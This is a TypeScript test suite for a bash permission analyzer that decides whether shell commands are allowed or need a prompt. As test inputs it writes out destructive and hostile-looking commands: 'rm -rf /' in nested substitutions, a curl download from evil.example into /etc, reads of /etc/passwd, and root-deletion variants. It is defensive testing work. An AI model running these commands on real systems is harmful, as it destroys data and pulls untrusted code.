import { describe, test } from "node:test"; import assert from "node:assert/strict"; import { analyzeBash, assessAnalysis, assessPath, type PermissionPolicy, } from "bash-effect-analyzer"; import { resolvesToFilesystemRoot, rootTargetCommand } from "./root-target"; const POLICY: PermissionPolicy = { cwd: "/home/u/proj", allowedPrefixes: [], writablePaths: [], restrictReads: false, readablePaths: [], }; function withPolicy(overrides: Partial): PermissionPolicy { return { ...POLICY, ...overrides }; } async function decision(cmd: string, policy: PermissionPolicy = POLICY) { return assessAnalysis(await analyzeBash(cmd), policy); } describe("allowed-prefix matching is per-token, not substring", () => { test("prefix `deploy staging` matches `deploy staging --force`", async () => { const v = await decision("deploy staging --force", withPolicy({ allowedPrefixes: ["deploy staging"] })); assert.equal(v.decision, "allow"); }); test("prefix `deploy staging` does NOT match `deploy staging-x`", async () => { const v = await decision("deploy staging-x", withPolicy({ allowedPrefixes: ["deploy staging"] })); assert.equal(v.decision, "prompt"); }); test("prefix `rm -rf` does NOT match `rm -rfv`", async () => { const v = await decision("rm -rfv /tmp/x", withPolicy({ allowedPrefixes: ["rm -rf"] })); assert.equal(v.decision, "prompt"); }); test("bare-name prefix matches any args (and approves all effects)", async () => { const v = await decision("curl -s https://evil.example/x -o /etc/x", withPolicy({ allowedPrefixes: ["curl"] })); assert.equal(v.decision, "allow"); }); }); describe("effect gating — the baseline model", () => { test("read-only known commands produce no effects and pass", async () => { assert.equal((await decision("ls -la /tmp")).decision, "allow"); assert.equal((await decision("wc -l /etc/passwd")).decision, "allow"); }); test("unknown commands prompt via their `unknown` effect", async () => { const v = await decision("frobnicate --fast"); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("unknown command: frobnicate"))); }); test("reads anywhere are allowed", async () => { assert.equal((await decision("cat /etc/passwd")).decision, "allow"); }); test("mutations inside cwd are allowed (delete is gated as a write)", async () => { assert.equal((await decision("rm ./scratch.txt")).decision, "allow"); assert.equal((await decision("cat foo | grep bar | sort")).decision, "allow"); }); test("mutations outside cwd prompt", async () => { assert.equal((await decision("rm -rf /")).decision, "prompt"); assert.equal((await decision("cat foo | rm /etc/x")).decision, "prompt"); }); test("a command with no operands has no effects and passes", async () => { // `rm` with no operands errors at runtime without touching anything. assert.equal((await decision("rm")).decision, "allow"); }); test("no invocations at all (assignment, comment) is allowed", async () => { assert.equal((await decision("X=1")).decision, "allow"); assert.equal((await decision("# just a comment")).decision, "allow"); }); test("unparseable input prompts", async () => { assert.equal((await decision('echo "')).decision, "prompt"); }); }); describe("network effects", () => { test("curl connect prompts", async () => { const v = await decision("curl -s https://evil.example/x"); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("network"))); }); test("/allow curl approves the connect", async () => { const v = await decision("curl -s https://evil.example/x", withPolicy({ allowedPrefixes: ["curl"] })); assert.equal(v.decision, "allow"); }); test("git push prompts (network + repo-state), git status passes", async () => { assert.equal((await decision("git push origin main")).decision, "prompt"); assert.equal((await decision("git status --short")).decision, "allow"); assert.equal((await decision("jj st")).decision, "allow"); }); }); describe("redirections", () => { test("`>` to cwd-relative path is allowed", async () => { assert.equal((await decision("echo hi > out.txt")).decision, "allow"); }); test("`>` to absolute path outside cwd prompts", async () => { const v = await decision("echo hi > /etc/passwd"); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("/etc/passwd"))); }); test("`<` for input never blocks (reads unrestricted)", async () => { assert.equal((await decision("cat < /etc/passwd")).decision, "allow"); }); test("`2>&1` fd duplication is harmless", async () => { assert.equal((await decision("ls 2>&1")).decision, "allow"); }); test("writes to a path in writablePaths are allowed by exact match", async () => { const v = await decision("echo hi > /dev/null", withPolicy({ writablePaths: ["/dev/null"] })); assert.equal(v.decision, "allow"); assert.ok(v.allowReasons.some((r) => r.includes("explicitly allowed"))); }); test("writes inside a directory in writablePaths are allowed by prefix", async () => { const v = await decision( "echo hi > /tmp/scratch/out.txt", withPolicy({ writablePaths: ["/tmp/scratch"] }), ); assert.equal(v.decision, "allow"); assert.ok(v.allowReasons.some((r) => r.includes("inside /tmp/scratch"))); }); test("an unknown command's redirect write still gates the path", async () => { const v = await decision("frobnicate > out.txt"); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("unknown command"))); assert.ok(!v.promptReasons.some((r) => r.includes("out.txt")), "cwd write should not itself prompt"); }); }); describe("verdict reasons are deduplicated", () => { test("repeated identical writes collapse to one reason", async () => { const v = await decision("echo a > /etc/x; echo b > /etc/x; echo c > /etc/x"); assert.equal(v.promptReasons.filter((r) => r.includes("/etc/x")).length, 1); }); test("distinct write targets remain distinct", async () => { const v = await decision("echo a > /etc/x; echo b > /etc/y"); assert.equal(v.promptReasons.filter((r) => r.includes("writes to")).length, 2); }); }); describe("commands with effect-escaping flags", () => { test("`sort -o /etc/hosts` prompts (outside cwd)", async () => { assert.equal((await decision("sort -o /etc/hosts data")).decision, "prompt"); }); test("`sort -o ./local` is allowed (cwd-relative)", async () => { assert.equal((await decision("sort -o ./local data")).decision, "allow"); }); test("`sort --output=FILE` writes to FILE", async () => { assert.equal((await decision("sort --output=/etc/hosts data")).decision, "prompt"); }); test("unknown wrappers prompt regardless of their inner command", async () => { assert.equal((await decision("find . -exec cat {} \\;")).decision, "prompt"); assert.equal((await decision("find . -exec rm {} \\;")).decision, "prompt"); assert.equal((await decision("env LANG=C rm /tmp/x")).decision, "prompt"); assert.equal((await decision("echo x | xargs rm")).decision, "prompt"); }); test("/allow find approves find and everything it runs", async () => { const v = await decision("find . -exec rm {} \\;", withPolicy({ allowedPrefixes: ["find"] })); assert.equal(v.decision, "allow"); }); }); describe("security boundary — nested execution is gated by its own effects", () => { test("`$(rm)` inside an arg surfaces rm's delete", async () => { assert.equal((await decision("echo $(rm -rf /)")).decision, "prompt"); }); test("backtick `rm` surfaces the delete", async () => { assert.equal((await decision("echo `rm -rf /`")).decision, "prompt"); }); test("nested $() inside double-quoted string surfaces the delete", async () => { assert.equal((await decision('echo "prefix $(rm /) suffix"')).decision, "prompt"); }); test("$() in assignment prefix surfaces the inner command", async () => { assert.equal((await decision("x=$(rm /) echo $x")).decision, "prompt"); }); test("an outer-allowed command does not whitewash an inner one", async () => { const v = await decision("echo $(rm -rf /)", withPolicy({ allowedPrefixes: ["echo"] })); assert.equal(v.decision, "prompt"); }); test("process substitutions expose their inner commands", async () => { assert.equal((await decision("diff <(cat a) <(rm /b)")).decision, "prompt"); assert.equal((await decision("cat foo > >(rm /b)")).decision, "prompt"); }); test("`bash -c` inner effects gate on their own", async () => { const v = await decision("bash -c 'rm /etc/x'"); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("/etc/x"))); }); test("`bash -c` is transparent: /allow reaches the inner command", async () => { // Exactly like a subshell: the inner invocation is gated by its own argv. assert.equal( (await decision("bash -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["rm"] }))).decision, "allow", ); assert.equal( (await decision("bash -c 'rm -rf /'", withPolicy({ allowedPrefixes: ["rm -rf"] }))).decision, "allow", ); assert.equal( (await decision("bash -c 'curl -s https://evil.example'", withPolicy({ allowedPrefixes: ["curl"] }))).decision, "allow", ); }); test("`bash -c` transparency applies to sh and nests recursively", async () => { assert.equal( (await decision("sh -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["rm"] }))).decision, "allow", ); assert.equal( (await decision("bash -c \"bash -c 'rm /etc/x'\"", withPolicy({ allowedPrefixes: ["rm"] }))).decision, "allow", ); assert.equal((await decision("bash -c \"bash -c 'rm /etc/x'\"")).decision, "prompt"); }); test("`bash -c` transparency does not make /allow bash approve the innards", async () => { // bash itself does nothing; only its own redirections belong to it. assert.equal( (await decision("bash -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["bash"] }))).decision, "prompt", ); }); test("`bash -c 'x' > out` still gates the shell's own redirect", async () => { assert.equal((await decision("bash -c 'true' > /etc/out")).decision, "prompt"); assert.equal((await decision("bash -c 'true' > out.txt")).decision, "allow"); }); test("`bash -c` with a dynamic source prompts", async () => { assert.equal((await decision("bash -c $script")).decision, "prompt"); }); }); describe("security boundary — control flow bodies", () => { test("rm inside a case body is surfaced", async () => { assert.equal((await decision("case $x in foo) rm /etc/x ;; esac")).decision, "prompt"); }); test("rm inside a function body is surfaced", async () => { assert.equal((await decision("f() { rm /etc/x; }; f")).decision, "prompt"); }); test("rm inside a [[ ]] test operand is surfaced", async () => { assert.equal((await decision("[[ -f $(rm /etc/x) ]]")).decision, "prompt"); }); test("if/then walks both branches", async () => { assert.equal((await decision("if true; then rm /etc/x; else cat; fi")).decision, "prompt"); }); test("&& and || walk both sides", async () => { assert.equal((await decision("ls && rm /etc/x")).decision, "prompt"); }); test("subshell () walks contents", async () => { assert.equal((await decision("(cd /tmp && rm /etc/x)")).decision, "prompt"); }); }); describe("security boundary — heredocs and herestrings", () => { test("`cat < { assert.equal((await decision("cat < { assert.equal((await decision("cat < { assert.equal((await decision("bash < { assert.equal((await decision("cat << { const STRICT = withPolicy({ restrictReads: true }); test("reads are confined to cwd + readablePaths", async () => { const v = await decision("cat < /etc/passwd", STRICT); assert.equal(v.decision, "prompt"); assert.ok(v.promptReasons.some((r) => r.includes("/etc/passwd"))); assert.equal((await decision("cat < input.txt", STRICT)).decision, "allow"); assert.equal( (await decision("cat < /etc/hostname", withPolicy({ restrictReads: true, readablePaths: ["/etc"] }))).decision, "allow", ); }); test("commands without read effects are unaffected (the loose version)", async () => { assert.equal((await decision("ls /tmp", STRICT)).decision, "allow"); assert.equal((await decision("echo hi", STRICT)).decision, "allow"); }); test("write gating is unaffected by strict-reads", async () => { assert.equal((await decision("rm -rf /", STRICT)).decision, "prompt"); assert.equal((await decision("rm ./scratch", STRICT)).decision, "allow"); }); test("unknown commands still prompt under strict-reads", async () => { assert.equal((await decision("frobnicate", STRICT)).decision, "prompt"); }); test("allowed prefixes still approve all effects", async () => { const v = await decision("cat /etc/passwd", withPolicy({ restrictReads: true, allowedPrefixes: ["cat"] })); assert.equal(v.decision, "allow"); }); test("assessPath gates an absolute path outside cwd", () => { assert.equal(assessPath("read", "/etc/passwd", STRICT).decision, "prompt"); }); test("assessPath allows a path inside cwd", () => { assert.equal(assessPath("read", "src/main.ts", STRICT).decision, "allow"); }); test("assessPath with restrictReads off auto-allows anything", () => { assert.equal(assessPath("read", "/etc/passwd", POLICY).decision, "allow"); }); }); describe("direct file-write tool calls", () => { test("write outside cwd prompts", () => { assert.equal(assessPath("write", "/etc/x", POLICY).decision, "prompt"); }); test("write inside cwd allows", () => { assert.equal(assessPath("write", "src/x", POLICY).decision, "allow"); }); }); describe("filesystem-root guard", () => { test("recognizes root and equivalent paths", () => { assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/"), true); assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/."), true); assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/tmp"), false); assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "."), false); }); test("denies root as a find starting point", async () => { assert.equal(rootTargetCommand(await analyzeBash("find / -name '*.ts'"), POLICY.cwd), "find"); assert.equal(rootTargetCommand(await analyzeBash("find -H /"), POLICY.cwd), "find"); }); test("does not mistake find expression arguments for starting points", async () => { assert.equal(rootTargetCommand(await analyzeBash("find . -name /"), POLICY.cwd), undefined); assert.equal(rootTargetCommand(await analyzeBash("find /tmp"), POLICY.cwd), undefined); }); test("denies root as an rm operand, including nested shell commands", async () => { assert.equal(rootTargetCommand(await analyzeBash("rm -rf /."), POLICY.cwd), "rm"); assert.equal(rootTargetCommand(await analyzeBash("bash -c 'rm /'"), POLICY.cwd), "rm"); }); for (const command of [ "cd / && rm .", "cd /; rm .", "cd /tmp && rm ..", "cd / && bash -c 'rm .'", "cd / && jj util exec -- rm .", "echo $(cd / && rm .)", "echo hi | cd /; rm .", ]) { test(`cwd-aware rm root guard: ${command}`, async () => { assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), "rm"); }); } for (const command of [ "cd / && find .", "cd / && find", "cd / && find -name '*.ts'", "cd / && find -H -D tree -name '*.ts'", "cd / && bash -c 'find .'", ]) { test(`cwd-aware find root guard: ${command}`, async () => { assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), "find"); }); } for (const command of [ "cd / || rm .", "(cd /); rm .", "cd / & rm .", "cd / | cat; rm .", "echo $(cd /); rm .", "bash -c 'cd /'; rm .", "cd / && find /tmp -name /", 'cd "$dir" && rm .', ]) { test(`does not invent a root target: ${command}`, async () => { assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), undefined); }); } }); describe("variable expansion in target paths", () => { test("`echo hi > $f` prompts (dynamically-computed target)", async () => { assert.equal((await decision("echo hi > $f")).decision, "prompt"); }); test("`sort -o $out` prompts instead of resolving `$out` as a literal filename", async () => { assert.equal((await decision("sort -o $out data")).decision, "prompt"); }); test("`sort --output=$out` prompts (expansion lives mid-token after `=`)", async () => { assert.equal((await decision("sort --output=$out data")).decision, "prompt"); }); test("single-quoted `$` is literal — a concrete path inside cwd allows", async () => { const v = await decision("sort -o '$out' data"); assert.equal(v.decision, "allow"); assert.ok(v.allowReasons.some((r) => r.includes("$out") && r.includes("inside cwd"))); }); test("single-quoted absolute path outside cwd still gates the write", async () => { assert.equal((await decision("sort -o '/etc/$out' data")).decision, "prompt"); }); test("`rm $myVar` prompts (delete of a dynamically-computed path)", async () => { assert.equal((await decision("rm $myVar")).decision, "prompt"); }); test("a dynamic read is allowed when reads are unrestricted", async () => { assert.equal((await decision("cat $f")).decision, "allow"); }); });